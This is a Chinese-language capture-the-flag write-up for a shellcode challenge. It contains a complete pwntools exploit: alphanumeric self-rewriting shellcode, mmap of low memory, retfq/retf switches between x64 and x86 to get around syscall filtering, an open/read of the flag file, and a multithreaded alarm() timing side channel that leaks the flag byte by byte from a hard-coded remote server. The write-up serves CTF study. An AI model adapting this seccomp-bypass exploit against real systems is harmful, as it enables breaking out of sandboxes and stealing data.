模式切换shellcode,通过retf和retfq指令在x64和x86模式下切换,绕过系统调用号限制
因为有字符范围限制: (0x1f, 0x7f),所以可以先用点小技巧,先通过alpha_shellcode调用read自覆盖解除字符限制,然后通过读入的shellcode来mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)
最后读入一份orw的shellcode,orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag
exp:
from pwn import *
import sys
import time
import threading
def exp(flag_idx:int):
#p = process("./shellcode")
p = remote("39.105.137.118", 50050)
#context.log_level = "debug"
context.arch = "amd64"
# build read
alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
payload = alpha_read
p.send(payload)
# read mmap shellcode
# mmap new shellcode area
time.sleep(0.2)
payload = b"\x90"*0x50
shellcode_mmap_raw = '''
mov rdi, 0x100000;
mov rsi, 0x20000;
mov rdx, 7;
mov r10d, 0x22;
mov r8d, 0xffffffff;
mov r9d, 0;
mov rax, 9;
syscall;
mov rdi, 0x200000;
mov rsi, 0x20000;
mov rdx, 7;
mov r10d, 0x22;
mov r8d, 0xffffffff;
mov r9d, 0;
mov rax, 9;
syscall;
mov rdi, 0
mov rsi, 0x100000
mov rdx, 0x1000
mov rax, 0;
syscall;
call rsi;
'''
payload += asm(shellcode_mmap_raw)
p.send(payload)
#gdb.attach(p, "b *0x100001\nc\n")
# read new shellcode
time.sleep(0.5)
shellcode_to_x86 = '''
push 0x23;
push 0x100020;
retfq;
'''
shellcode_open = '''
mov esp, 0x210000;
push 0;
push 0x67616c66;
mov ebx, esp;
mov rcx, 0;
mov eax, 5;
int 0x80;
'''
shellcode_to_x64 = '''
push 0x33;
push 0x100050;
retf;
'''
shellcode_read = '''
mov rdi, rax;
mov rsi, 0x100000;
mov rdx, 0x40;
mov rax, 0;
syscall;
nop;
'''
char_addr = 0x100000+flag_idx
shellcode_alarm = '''
xor rax, rax;
mov al, byte ptr [{}];
//mov al, 0x3;
mov rdi, rax;
mov rax, 37;
syscall;
HERE:
jmp HERE
'''
payload = asm(shellcode_to_x86)
payload = payload.ljust(0x20, b"\x90")
payload += asm(shellcode_open)
payload += asm(shellcode_to_x64)
payload = payload.ljust(0x50, b"\x90")
payload += asm(shellcode_read)
payload += asm(shellcode_alarm.format(hex(char_addr)))
p.send(payload)
print("WAITING IDX: ", flag_idx)
start = time.perf_counter()
try:
p.recv()
except:
print("ALARM!")
end = time.perf_counter()
pass_time = int(end-start)
flag[flag_idx] = pass_time
print(flag_idx, "May be char:", bytes([pass_time]))
p.close()
if __name__ == "__main__":
pool = []
flag = [0]*0x26
for i in range(0, 0x26):
t = threading.Thread(target=exp, args=(i,))
pool.append(t)
t.setDaemon(True)
sleep(1)
t.start()
for t in pool:
t.join()
print("FLAG:", bytes(flag))